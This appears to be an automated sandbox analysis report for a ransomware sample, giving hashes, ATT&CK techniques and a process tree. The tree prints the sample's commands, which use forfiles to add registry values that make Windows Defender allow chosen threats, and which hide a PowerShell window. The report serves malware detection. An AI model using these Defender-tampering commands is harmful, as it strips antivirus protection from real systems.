a986696b2761992e274114f6c5b902c514a007b78d693c079f8290d6f7b3c2ac

Analysis

max time kernel
16s
max time network
20s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
23/08/2024, 16:35

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General

Target

2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe
Size

6.6MB
MD5

bb2fc7200b29e88867c966ce6cba0136
SHA1

da71dacc7d7d8e71b72868fd1d7005a73eb3c969
SHA256

a986696b2761992e274114f6c5b902c514a007b78d693c079f8290d6f7b3c2ac
SHA512

13c5e27ef66dc17be02367d84551148c9ffc18cf942f18147a3108979027871086dcbce696af3ad5a76823a754c8aec90f8a9e1300a511706ae0e7dbb5f76a05
SSDEEP

98304:JtExeeTPGM9lSxEanjETJb7RBk90+EbQuAjx7T4Pd/ube/VDNt5yVg89C1DL7kTE:wxvc1eBRBkIMNjxQQbUVhtAkFEy/

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
948	powershell.exe

Indirect Command Execution 1 TTPs 5 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2400	forfiles.exe
2756	forfiles.exe
2888	forfiles.exe
2080	forfiles.exe
2744	forfiles.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2812	2612	WerFault.exe	29

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gpupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
948	powershell.exe
948	powershell.exe
948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	948	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 2444	2612	2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe	30
PID 2612 wrote to memory of 2444	2612	2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe	30
PID 2612 wrote to memory of 2444	2612	2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe	30
PID 2612 wrote to memory of 2444	2612	2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe	30
PID 2444 wrote to memory of 2888	2444	cmd.exe	32
PID 2444 wrote to memory of 2888	2444	cmd.exe	32
PID 2444 wrote to memory of 2888	2444	cmd.exe	32
PID 2444 wrote to memory of 2888	2444	cmd.exe	32
PID 2888 wrote to memory of 2904	2888	forfiles.exe	33
PID 2888 wrote to memory of 2904	2888	forfiles.exe	33
PID 2888 wrote to memory of 2904	2888	forfiles.exe	33
PID 2888 wrote to memory of 2904	2888	forfiles.exe	33
PID 2904 wrote to memory of 2940	2904	cmd.exe	34
PID 2904 wrote to memory of 2940	2904	cmd.exe	34
PID 2904 wrote to memory of 2940	2904	cmd.exe	34
PID 2904 wrote to memory of 2940	2904	cmd.exe	34
PID 2444 wrote to memory of 2080	2444	cmd.exe	35
PID 2444 wrote to memory of 2080	2444	cmd.exe	35
PID 2444 wrote to memory of 2080	2444	cmd.exe	35
PID 2444 wrote to memory of 2080	2444	cmd.exe	35
PID 2080 wrote to memory of 2792	2080	forfiles.exe	36
PID 2080 wrote to memory of 2792	2080	forfiles.exe	36
PID 2080 wrote to memory of 2792	2080	forfiles.exe	36
PID 2080 wrote to memory of 2792	2080	forfiles.exe	36
PID 2792 wrote to memory of 2784	2792	cmd.exe	37
PID 2792 wrote to memory of 2784	2792	cmd.exe	37
PID 2792 wrote to memory of 2784	2792	cmd.exe	37
PID 2792 wrote to memory of 2784	2792	cmd.exe	37
PID 2444 wrote to memory of 2744	2444	cmd.exe	38
PID 2444 wrote to memory of 2744	2444	cmd.exe	38
PID 2444 wrote to memory of 2744	2444	cmd.exe	38
PID 2444 wrote to memory of 2744	2444	cmd.exe	38
PID 2744 wrote to memory of 1824	2744	forfiles.exe	39
PID 2744 wrote to memory of 1824	2744	forfiles.exe	39
PID 2744 wrote to memory of 1824	2744	forfiles.exe	39
PID 2744 wrote to memory of 1824	2744	forfiles.exe	39
PID 1824 wrote to memory of 2772	1824	cmd.exe	40
PID 1824 wrote to memory of 2772	1824	cmd.exe	40
PID 1824 wrote to memory of 2772	1824	cmd.exe	40
PID 1824 wrote to memory of 2772	1824	cmd.exe	40
PID 2444 wrote to memory of 2400	2444	cmd.exe	41
PID 2444 wrote to memory of 2400	2444	cmd.exe	41
PID 2444 wrote to memory of 2400	2444	cmd.exe	41
PID 2444 wrote to memory of 2400	2444	cmd.exe	41
PID 2400 wrote to memory of 2912	2400	forfiles.exe	42
PID 2400 wrote to memory of 2912	2400	forfiles.exe	42
PID 2400 wrote to memory of 2912	2400	forfiles.exe	42
PID 2400 wrote to memory of 2912	2400	forfiles.exe	42
PID 2912 wrote to memory of 2916	2912	cmd.exe	43
PID 2912 wrote to memory of 2916	2912	cmd.exe	43
PID 2912 wrote to memory of 2916	2912	cmd.exe	43
PID 2912 wrote to memory of 2916	2912	cmd.exe	43
PID 2444 wrote to memory of 2756	2444	cmd.exe	44
PID 2444 wrote to memory of 2756	2444	cmd.exe	44
PID 2444 wrote to memory of 2756	2444	cmd.exe	44
PID 2444 wrote to memory of 2756	2444	cmd.exe	44
PID 2756 wrote to memory of 2936	2756	forfiles.exe	45
PID 2756 wrote to memory of 2936	2756	forfiles.exe	45
PID 2756 wrote to memory of 2936	2756	forfiles.exe	45
PID 2756 wrote to memory of 2936	2756	forfiles.exe	45
PID 2936 wrote to memory of 948	2936	cmd.exe	46
PID 2936 wrote to memory of 948	2936	cmd.exe	46
PID 2936 wrote to memory of 948	2936	cmd.exe	46
PID 2936 wrote to memory of 948	2936	cmd.exe	46

C:\Users\Admin\AppData\Local\Temp\2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-23_bb2fc7200b29e88867c966ce6cba0136_bkransomware.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2888
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2904
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2940
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2792
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2784
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1824
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2772
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2912
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2916
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2756
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2936
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:948
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2640
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2612 -s 640
  2⤵
  - Program crash
  PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2612-0-0x00000000013B0000-0x0000000001A58000-memory.dmp

Filesize
6.7MB

Download
memory/2612-3-0x0000000010000000-0x000000001069A000-memory.dmp

Filesize
6.6MB

Download
memory/2612-7-0x00000000013B0000-0x0000000001A58000-memory.dmp

Filesize
6.7MB

Download